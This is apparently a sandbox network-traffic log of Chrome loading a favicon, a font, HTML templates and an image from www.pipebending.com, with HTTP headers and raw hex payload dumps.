Apr 18, 2024 23:05:22.388273001 CEST	1289	IN	Data Raw: 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 00 a0 02 80 0a 00 28 01 a5 b1 d4 1f d0 7f f1 7f c9 7f 5c 50 4b 95 b7 4f d7 4f fe db f2 8f Data Ascii: (((((((((\PKOOuP@P@P@P@P@P@P@P@P+rzczjM_V?[/W/G#n>\!oVum(XwF{7&
Apr 18, 2024 23:05:24.187628031 CEST	566	OUT	GET /favicon.ico HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Referer: http://www.pipebending.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1292361290.1713474322; _gat_gtag_UA_122036208_1=1; _gat_gtag_UA_208681781_1=1; _ga_R4TNS2YF4N=GS1.1.1713474322.1.0.1713474322.0.0.0; _ga=GA1.1.900391258.1713474322
Apr 18, 2024 23:05:24.332746983 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:24 GMT Server: Apache Last-Modified: Tue, 10 Jul 2018 17:38:27 GMT ETag: "9e0c95-10be-570a898fbaac0" Accept-Ranges: bytes Content-Length: 4286 Vary: Accept-Encoding Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: image/x-icon Data Raw: 00 00 01 00 01 00 20 20 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 10 00 00 c3 0e 00 00 c3 0e 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fd fe ff e5 eb fa ff b8 c9 f3 ff 8c a8 ed ff 6f 93 e8 ff 5f 86 e6 ff 56 81 e5 ff 56 81 e5 ff 5f 86 e6 ff 6f 93 e8 ff 8c a8 ed ff b8 ca f3 ff e4 eb fb ff fd fd fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fe ff ff dc e4 f9 ff 9c b4 ef ff 6b 90 e8 ff 57 81 e5 ff 53 7e e5 ff 53 7e e5 ff 53 7f e5 ff 54 7f e5 ff 54 7f e5 ff 53 7f e5 ff 53 7e e5 ff 53 7e e5 ff 57 81 e5 ff 6b 90 e8 ff 9d b5 ef ff dc e5 f9 ff fd fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f0 f3 fc ff a8 bd f1 ff 64 8b e7 ff 52 7d e5 ff 53 7e e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 53 7e e5 ff 52 7d e5 ff 64 8b e7 ff a8 bd f1 ff f0 f3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff df e6 f9 ff 82 a1 eb ff 54 7f e5 ff 53 7e e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 53 7e e5 ff 54 7f e5 ff 81 a0 eb ff df e6 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d7 e1 f8 ff 72 95 e9 ff 52 7d e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 52 7d e5 ff 71 94 e9 ff d7 e0 f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff df e6 f9 ff 71 94 e9 ff 52 7d e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 52 7d e5 ff 72 95 e9 ff df e6 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f0 f3 fc ff 82 a1 eb ff 52 7d e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 52 7d e5 ff 82 a1 eb ff f0 f3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe ff ff a8 bd f1 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff 54 7f e5 ff Data Ascii: ( @ o_VV_okWS~S~STTSS~S~WkdR}S~TTTTTTTTTTS~R}dTS~TTTTTTTTTTTTTTS~TrR}TTTTTTTTTTTTTTTTTTR}qqR}TTTTTTTTTTTTTTTTTTTTR}rR}TTTTTTTTTTTTTTTTTTTTTTR}TTTTTT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49725	208.109.76.254	80	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:05:22.430970907 CEST	401	OUT	GET /styles/fonts/UniveConBolObl.woff HTTP/1.1 Host: www.pipebending.com Connection: keep-alive Origin: http://www.pipebending.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Referer: http://www.pipebending.com/styles/145ac2e7.app.css Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:22.575541973 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Sat, 12 Aug 2017 18:26:29 GMT ETag: "de0a21-45fc-556929172ff40" Accept-Ranges: bytes Content-Length: 17916 Vary: Accept-Encoding Keep-Alive: timeout=5 Content-Type: font/woff Data Raw: 77 4f 46 46 4f 54 54 4f 00 00 45 fc 00 0b 00 00 00 00 71 3c 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 46 46 20 00 00 01 08 00 00 3c 5f 00 00 61 dd 6c 43 28 58 46 46 54 4d 00 00 3d 68 00 00 00 1a 00 00 00 1c 67 3e c5 58 47 44 45 46 00 00 3d 84 00 00 00 1e 00 00 00 20 01 12 00 04 4f 53 2f 32 00 00 3d a4 00 00 00 54 00 00 00 60 5b 72 1f c9 63 6d 61 70 00 00 3d f8 00 00 02 69 00 00 02 f0 c6 a4 20 75 68 65 61 64 00 00 40 64 00 00 00 34 00 00 00 36 02 56 58 44 68 68 65 61 00 00 40 98 00 00 00 20 00 00 00 24 07 fa 03 00 68 6d 74 78 00 00 40 b8 00 00 01 e8 00 00 03 94 a4 dd 3d a2 6d 61 78 70 00 00 42 a0 00 00 00 06 00 00 00 06 00 e5 50 00 6e 61 6d 65 00 00 42 a8 00 00 03 3d 00 00 06 fc ba 64 f3 8b 70 6f 73 74 00 00 45 e8 00 00 00 13 00 00 00 20 ff 87 00 38 78 9c ad 7c 07 7c 54 c5 f7 ef d9 84 0d cb a6 00 09 1b 3a 84 de 91 d0 3b 43 07 09 45 3a 28 4d 08 10 40 7a b7 30 28 52 bc 20 16 10 c5 42 10 29 22 2a 7f 10 45 40 bc 34 e9 bd 87 1e 7a 95 50 9c 1b 6e 60 de 39 e7 ee 26 a1 fc ca ff bd e7 07 77 37 f7 4e 9f 73 be a7 ce b8 20 4b 16 70 b9 5c 05 3b 0d 4d 18 1b 3f 72 54 85 c6 c3 86 f6 8b 1f 3a 2a be 5f a3 61 43 fa b5 7d 7d 48 c2 88 31 f1 e0 0a 02 17 c4 5a d9 c1 ca ef b2 0a 04 59 05 83 ad 5c 59 ca 85 05 6f 09 cb 52 cd 1e fb 68 e3 a3 1e ee 02 41 59 b2 17 00 c8 51 20 78 6f ce 02 20 0a 74 68 1e 09 c1 58 cd 35 da 35 d7 f5 55 4c c7 81 f1 31 fd 12 06 24 8c ee 33 64 c8 84 98 f8 a1 7d 87 f5 8b ef 17 f3 46 9f be 03 13 86 c6 c7 8c 8c ef d3 af cf eb 43 e2 63 86 8d 19 3d 84 1e f4 eb 33 ba 4f 4c ff 61 23 63 86 8f 1c d6 6f 4c df 84 a1 03 62 46 0f 8c f7 c6 74 9c 30 3c be 7f 9f be f1 a3 e8 c5 d8 04 6a a3 0f fe ee 33 72 74 cc b0 fe 31 13 86 8d 19 19 33 a4 cf a8 78 aa 97 30 74 34 7e 27 8c 8a e9 3b 6c f8 84 91 09 03 06 8e c6 c2 a5 fb 96 89 89 ad 55 33 d6 1b 13 97 30 74 d8 68 6c 2d a6 f1 b0 37 86 f7 19 3a a1 62 4c c3 21 43 62 b8 dc 28 1c 0f b6 31 36 be 5f 45 1c 37 b6 c0 a3 c1 6f 1c 02 f5 3b 3c 7e e4 e8 09 d4 5f a0 0d 6f a0 91 f2 31 7d 86 d2 ac 26 c4 e0 8b 98 d7 69 62 ce 04 e2 fb 95 8f 19 33 8a 3e fb 25 8c 1a 3e a4 cf 04 fa f9 c6 b0 7e 09 fd 13 fc 0f fb 0e 19 86 ef 63 86 8d f4 c6 8c 1e d9 67 e8 a8 fe f1 23 47 e2 df e3 12 46 0f c4 45 e1 ae e3 c7 0f c7 81 8d 8a 19 37 32 61 f4 e8 f8 a1 31 7d 86 d3 22 f4 19 92 79 28 19 d3 f1 6f 68 4c f5 1a 31 e9 7b 1a 43 9b 1a e3 df 55 7f 01 c0 ff 5c 10 04 c1 90 05 dc 10 02 59 61 20 64 03 2f 84 42 18 84 43 04 64 87 1c 90 13 22 21 0a 72 81 0f a2 21 37 e4 81 bc 90 0f f2 43 01 28 08 85 a0 30 c4 40 11 28 0a c5 a0 38 94 80 92 50 0a 4a 43 19 28 0b e5 a0 3c 54 80 8a f0 12 54 82 58 a8 0c 55 a0 2a 54 83 ea 50 03 6a 42 2d a8 0d 75 a0 2e d4 83 fa d0 00 04 bc 05 8d a0 31 34 81 a6 d0 0c 9a 43 0b 68 09 2f 43 2b 88 83 d6 d0 06 da 42 3b 78 05 da 43 07 e8 08 9d a0 33 74 81 ae d0 0d ba c3 ab f0 1a f4 80 9e d0 0b 7a 43 1f 78 1d fa 81 09 fd e1 0c 2c 07 03 06 c1 3c 58 0c 12 16 c2 57 f0 1d 7c 0f db 61 14 8c 84 4b f0 19 cc 86 f1 f0 21 cc 81 bf e0 4d f8 09 7e Data Ascii: wOFFOTTOEq<CFF <_alC(XFFTM=hg>XGDEF= OS/2=T`[rcmap=i uhead@d46VXDhhea@ $hmtx@=maxpBPnameB=dpostE 8x\|\|T:;CE:(M@z0(R B)"E@4zPn`9&w7Ns Kp\;M?rT:_aC}}H1ZY\YoRhAYQ xo thX55UL1$3d}FCc=3OLa#coLbFt0<j3rt13x0t4~';lU30thl-7:bL!Cb(16_E7o;<~_o1}&ib3>%>~cg#GFE72a1}"y(ohL1{CU\Ya d/BCd"!r!7C(0@(8PJC(<TTXU*TPjB-u.14Ch/C+B;xC3tzCx,<XW\|aK!M~
Apr 18, 2024 23:05:22.575560093 CEST	1289	IN	Data Raw: 80 15 b0 12 7e 84 9f e1 03 f8 1f 58 03 ab 60 35 fc 02 bf c3 af f0 1b ac 85 f9 b0 0e 36 c2 7a d8 00 7f c2 1f b0 0c 66 c1 56 d8 04 9b 61 0b 6c 83 af 61 2e ec 86 1d b0 13 f6 c2 2e d8 03 1f c1 3e 38 04 fb e1 00 1c 84 63 70 18 8e c0 51 58 0a c7 e1 14 Data Ascii: ~X`56zfVala..>8cpQXp`\|,EodH0w`L!x`LE0Yp*:gYVi?dvmY_S'[l/6M[ETh11{
Apr 18, 2024 23:05:22.575575113 CEST	1289	IN	Data Raw: 8d 11 aa 34 ee 71 c3 39 f2 a4 86 28 1b ae 23 e1 a5 c0 31 8f 1d 81 b4 94 52 18 9a 6a ad 1a 99 c3 71 70 41 f2 35 1c dc 4f 63 24 57 68 1a 2e ff d4 d0 0a c9 0e ab 3d 32 b1 5a ee 72 42 b9 b4 9e b3 57 fc d0 cc b0 b3 63 e3 73 68 8b f5 9d 27 66 1d 1c 5e Data Ascii: 4q9(#1RjqpA5Oc$Wh.=2ZrBWcsh'f^v&5k?Wzdo~.yhJ;j'pM54`d${sLp_4/VEo1uy@G.o0Vag9(-T8LNZ@DTq?
Apr 18, 2024 23:05:22.575591087 CEST	1289	IN	Data Raw: f6 fa 4a 13 40 b6 2e f5 a7 54 08 8c 31 8c 94 fa ce 2e 99 64 67 35 5e c7 36 8f a3 88 40 a1 82 94 83 bb fa 84 16 9b c7 3f ff a6 aa 7a 13 17 ea f6 56 79 cd f7 0a e1 fe 50 38 13 90 09 91 bf c8 8b b8 0d c7 c5 c6 cd 06 29 77 41 6b cc 7e 48 71 ad 24 22 Data Ascii: J@.T1.dg5^6@?zVyP8)wAk~Hq$"u.*%)SeE\[_va^38^6T,;G8$T\j! J:j\X)`.Rb/T 35XAAeg}ilP!>m'iy
Apr 18, 2024 23:05:22.575632095 CEST	1289	IN	Data Raw: 6f 3d 48 6b e0 43 49 0b 89 3c d6 92 0e 82 f8 42 e1 0e 36 4e f6 91 fe bc 92 98 9f 01 9c 9d fa cb 2f 35 54 db 04 db 03 76 65 cc 06 50 15 71 2f d1 4a 42 21 ea b1 13 71 e2 fd a7 9b 8f fb bb 23 d4 50 34 24 ad 25 2c f9 2b a2 e8 f1 95 f2 cf c9 9a ce f3 Data Ascii: o=HkCI<B6N/5TvePq/JB!q#P4$%,+~NXw2I"lcNN5hu^2<pk^!ZBgUy,'^K"5c($Vn{K;5>QPl@Av*Xfxr1DKAJnhg/kmj
Apr 18, 2024 23:05:22.575656891 CEST	1289	IN	Data Raw: 01 a4 af 77 a1 2a b6 a8 07 ed 84 c7 ed 4b 1a 8e 47 43 51 d3 6a fd 58 ab 2e 35 bd be 9e 54 4b b0 bd b5 1f 82 fa 13 ad 8f 91 60 ff a9 22 b1 e8 77 31 60 d5 45 2b 51 3f f9 fb 3c a4 d5 45 4d 3b c7 16 6c fd e4 77 d2 ce 81 e5 43 51 ed 4c 9b 4e 0a 7e 1e Data Ascii: w*KGCQjX.5TK`"w1`E+Q?<EM;lwCQLN~voW\[62bUu;>#t_eT$R\|U;#"zdWCm;K<MTUk]UBg8$MDM.Hph.jt%oEoL]Wn
Apr 18, 2024 23:05:22.575683117 CEST	1289	IN	Data Raw: 80 7d 9b 22 b8 f0 80 5a b5 f3 63 93 7d 6b 8b b4 1c a4 5c a9 6d a6 95 43 eb 37 b8 a3 36 b5 25 3d 25 23 05 42 b7 49 2b 87 1d c3 03 e6 11 ba a2 c8 b1 8c 62 a3 72 6f 69 37 65 b4 58 72 15 14 2a ac eb 86 4b 35 55 eb 91 dc c6 07 13 4d bb 02 72 11 6e 40 Data Ascii: }"Zc}k\mC76%=%#BI+broi7eXr*K5UMrn@2v)MSL"PQ{cShiUv_CoF:Iu)7N&pWc(D}<~>={\pn<sepBX:HhD\J2\|E!>F3QG0'
Apr 18, 2024 23:05:22.575700998 CEST	1289	IN	Data Raw: f3 51 ef 7b ac 87 39 9f 5b 9a ca 86 8d 8d 26 14 d0 5c 27 8f 3a fa 52 e0 b3 7e 6b f3 f0 21 e7 dc ba 35 f8 96 aa 48 24 f4 f6 7a 69 ed f1 f9 93 06 28 e3 fb cb 64 33 6d 30 47 4b fa 51 10 99 0f d8 92 d9 4b e9 e0 4e 4e 2c 67 88 9c 6b 22 ec 8a 9c 82 a0 Data Ascii: Q{9[&\':R~k!5H$zi(d3m0GKQKNN,gk"JRoRThXxbl;z`9?\}?[O=0>CT@Xg%?$L#R@%D?HJ{-(MP58G\|Wt'!zC>FY2\|@;#ECJ
Apr 18, 2024 23:05:22.575716972 CEST	1289	IN	Data Raw: 90 e7 2d cf 32 cf 31 cf fd 6c b1 d9 c6 65 7b 3f db e2 6c bf 78 17 7a 4f 79 ad d0 d0 d0 82 a1 b5 43 bb 86 0e 0c 9d 18 fa 79 e8 b2 d0 5d 61 59 c2 ea 87 6d 0c 3b 18 76 36 ec 6e 78 a5 f0 21 e1 4b c2 7f 09 df 1c 7e 20 23 7d 34 70 80 2e 14 55 de 70 a1 Data Ascii: -21le{?lxzOyCy]aYm;v6nx!K~ #}4p.UpqCi;;{rLVg*8H#Q~Oa\|^jnM(nw=6eYflS9-s8CP;BU\|ai#VhqjfLJ?Cq
Apr 18, 2024 23:05:22.575733900 CEST	1289	IN	Data Raw: 5e 1d db be 7b ec ea 8f ee ae 3b b0 0e 49 a5 40 67 71 9e e2 45 3d 4d 6b 3f 6e b0 c5 d9 11 a9 86 d9 bc 93 f1 06 29 71 f7 cd a5 8e 79 83 ab 8c 10 87 eb 88 7a bf 86 8a d5 e5 4c dc 9d eb 4a da 25 7d e7 29 19 88 49 2a 88 c3 25 1c 8c c3 92 6d 41 95 27 Data Ascii: ^{;I@gqE=Mk?n)qyzLJ%})I*%mA'~=W<'{.ccnTq{8iG&~'F(KnB32}M4LKc%)!GQ}Jo69$`>jSZ\]%57_%P
Apr 18, 2024 23:05:22.575750113 CEST	1289	IN	Data Raw: a1 99 87 45 cd fe 7d 8c f1 04 d9 4c 25 8f e9 4a 3e fd 84 4d 55 27 d6 1e b4 45 7e ee 79 29 c4 39 a5 8b fb 81 f2 e1 32 3b 2c 6b 39 82 95 09 dd cb 87 2a 35 1f 08 ff 8b ae ab 4d cf 29 af 4c e7 9d 21 9a 7d 71 9e 97 c5 2a e2 03 38 85 8c 88 12 a1 06 09 Data Ascii: E}L%J>MU'E~y)92;,k95M)L!}q85}wz3.(Op\s/t{a[\PSlz;#+4fPuo.A*$7:5PeNBpbDiD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49729	208.109.76.254	80	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:05:22.576200962 CEST	300	OUT	GET /views/common/header.tpl.html HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:22.721524954 CEST	795	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Tue, 05 Jan 2021 13:42:06 GMT ETag: "de0a92-3a5-5b8275f520780-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 450 Keep-Alive: timeout=5 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 53 cb 6e dc 30 0c fc 15 46 b9 b4 40 b5 6e 7b 4c bc 06 9a fc 42 7e 80 b6 b9 32 53 59 12 24 39 cd 62 91 7f 2f e5 c7 76 e3 73 0f b2 24 0e 39 26 67 ec da e1 1b 74 16 53 3a 2a 39 b6 18 61 d9 74 4f 27 9c 6c 56 10 bd a5 19 64 83 99 bd 53 4d dd f3 b5 a8 f3 2e 23 3b 8a fa 64 27 ee 05 bc d3 1a 9e 22 ba 1e ca ca de 18 4b 60 28 83 89 7e 0a d4 c3 c9 47 68 29 67 8a 30 fa 96 05 ed 39 05 8b 67 d0 fa 13 f7 da c9 40 d8 53 14 e6 76 ca d9 3b c8 e7 20 0d 2d 17 b5 cb 5d 5e a7 a0 c7 8c eb a5 f4 68 2d 86 74 0d 63 94 76 8e ea 7e ad b9 c2 4d 9d 02 ba 8d 31 45 ed 9d 3d ab e6 65 19 e1 9f 02 75 55 f2 1a f8 94 ce a2 84 16 3a 61 f9 1f 70 5d 2d 03 4a 1e ee 66 6c 8b b8 0a 86 48 a7 a3 aa a4 82 47 03 29 76 c2 32 a2 a1 54 59 6f fc e1 35 18 05 29 9f 8b 00 23 be eb 3f dc e7 e1 c1 79 47 77 3c 06 1f 33 ba fc 08 4b 14 7e fc fc 1e de 1f 15 a0 15 5d 9e c8 85 e8 e1 85 ba c1 79 e1 62 4a f0 ec 63 38 94 e6 50 96 58 b4 d8 fc 2c ca 51 97 21 0f b3 3c 60 d9 fd 4e df 8a c1 a3 6c c5 7e 2f 50 84 f2 91 90 cb b3 f3 b3 29 ec cc de ec cd 05 d8 bb 02 dc 5f 47 bf b1 6a b2 37 b2 6c 45 b2 09 64 19 9c d1 91 02 a1 8c c3 99 46 60 57 52 54 89 af 55 17 ec 32 bf d1 03 a7 5f f3 e1 4b c9 3b 4c d1 7e fd 10 0a 2c 99 ab c2 f7 97 0b 6c 20 7c 08 ba dd 1d 8e 24 81 7a 35 6c dd 8a 42 96 e5 31 d9 5b ad aa c3 6e 86 59 80 5b 7c f7 2b 2d b8 14 35 7f 01 fb 0d b6 f3 a5 03 00 00 Data Ascii: Sn0F@n{LB~2SY$9b/vs$9&gtS:*9atO'lVdSM.#;d'"K`(~Gh)g09g@Sv; -]^h-tcv~M1E=euU:ap]-JflHG)v2TYo5)#?yGw<3K~]ybJc8PX,Q!<`Nl~/P)_Gj7lEdF`WRTU2_K;L~,l \|$z5lB1[nY[\|+-5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49731	208.109.76.254	80	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:05:22.576489925 CEST	300	OUT	GET /views/common/footer.tpl.html HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:22.721909046 CEST	686	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Wed, 26 Jan 2022 17:25:21 GMT ETag: "de2360-251-5d67f7c7e9df2-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 341 Keep-Alive: timeout=5 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 51 5d 6b c2 30 14 fd 2b 97 ee d5 1a a9 75 a2 c4 b0 d9 b9 31 18 4c 9c 7b 96 db 34 4d 83 6d 52 92 76 b2 7f bf 94 da 7d 30 07 7b 09 c9 b9 e7 1e ce 39 a1 99 7a 03 5e a2 73 ab c0 9a 53 c0 e8 37 80 9b 32 ac b2 70 01 b9 31 8d b0 a1 16 27 e7 19 c5 94 ed 84 33 ad e5 c2 51 e2 6a d4 8c 12 0f d2 7f 68 5d 7b b4 66 34 65 14 a1 b0 22 5f 05 44 55 28 85 23 29 f2 a3 b4 a6 d5 19 59 0b 5d 5b 73 58 5b c3 8b d6 8a 71 9d e5 01 34 68 a5 68 56 c1 21 2d 51 1f bd 8c aa 24 38 cb 2f 2a 3c 26 db bb fb b1 54 7e 0f 4b bf 34 48 05 83 9d 2f 6e c0 e0 b9 b5 f0 84 8d 70 0d 0c 44 4a d0 87 f2 36 89 77 4b 7c 8e bf c2 f4 b3 ef e7 6f de 74 28 90 1b dd 20 6f fa 0e 7d 03 5a 86 e7 12 ae c8 79 16 b6 be e2 a4 bf c3 ab eb 7d 74 ec 9a c5 f3 c9 1c 1e 4a a1 2b 63 05 ec 2d aa 12 5e 36 34 b5 2c c1 52 a2 7d 1f c1 ed 7a 04 09 6a cc 10 f6 51 02 d1 6e d1 8d b7 85 d1 62 09 f1 64 1a 46 b3 59 18 2d e2 b8 83 37 95 57 58 c2 e7 4f 74 cf c6 2c 95 ce cd 4d ad 6a 91 0a 9d 29 2d c7 dc 54 01 bb 84 f6 e6 ea 1f f1 3f 00 62 09 2c 6a 51 02 00 00 Data Ascii: Q]k0+u1L{4MmRv}0{9z^sS72p1'3Qjh]{f4e"_DU(#)Y][sX[q4hhV!-Q$8/*<&T~K4H/npDJ6wK\|ot( o}Zy}tJ+c-^64,R}zjQnbdFY-7WXOt,Mj)-T?b,jQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49730	208.109.76.254	80	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:05:22.576544046 CEST	301	OUT	GET /views/common/content.tpl.html HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:22.721509933 CEST	554	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Sat, 12 Aug 2017 18:25:21 GMT ETag: "de0a90-125-556928d656640-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 209 Keep-Alive: timeout=5 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 8f 3d 6e c3 30 0c 85 af 22 a8 73 ac 26 b3 ac a1 bd 40 b7 20 28 3a 50 36 23 b1 90 29 43 3f c9 10 e4 ee 65 81 04 88 07 72 20 df fb f8 68 67 ba a8 29 41 ad a3 fe ed 8b cf ad 64 d6 ce be 8c 4b be ca 20 ee dd 07 f2 4c 1c 54 8b 68 7d 71 5f b9 56 f2 94 a8 11 56 6b 44 60 e3 e1 69 4a 08 b3 76 a7 dc 55 45 54 fe e1 9c 22 a4 84 1c b0 0e ff 84 23 6e b6 eb 2b 70 10 e2 61 93 c3 f7 d6 32 ab 29 73 23 ee 28 99 56 67 41 c5 82 e7 51 9b b7 db 8d e1 f2 fd fe 33 f4 92 ee 77 ed 3e 1f 3a 4b 4b 50 b5 4c a3 a6 05 e4 b2 81 22 1f ed 0a 85 d8 86 95 83 56 90 da a8 05 67 40 4a 98 46 8e 6e fa 1f 54 0e ee 5b 25 01 00 00 Data Ascii: U=n0"s&@ (:P6#)C?er hg)AdK LTh}q_VVkD`iJvUET"#n+pa2)s#(VgAQ3w>:KKPL"Vg@JFnT[%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49732	208.109.76.254	80	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:05:22.576726913 CEST	294	OUT	GET /images/arrow-right.png HTTP/1.1 Host: www.pipebending.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Apr 18, 2024 23:05:22.721462011 CEST	1289	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:05:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Last-Modified: Sat, 12 Aug 2017 18:25:19 GMT ETag: "de09cf-9cb-556928d46e1c0" Accept-Ranges: bytes Content-Length: 2507 Keep-Alive: timeout=5 Content-Type: image/png Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 45 00 00 00 84 08 03 00 00 00 f1 e7 16 0a 00 00 02 64 50 4c 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 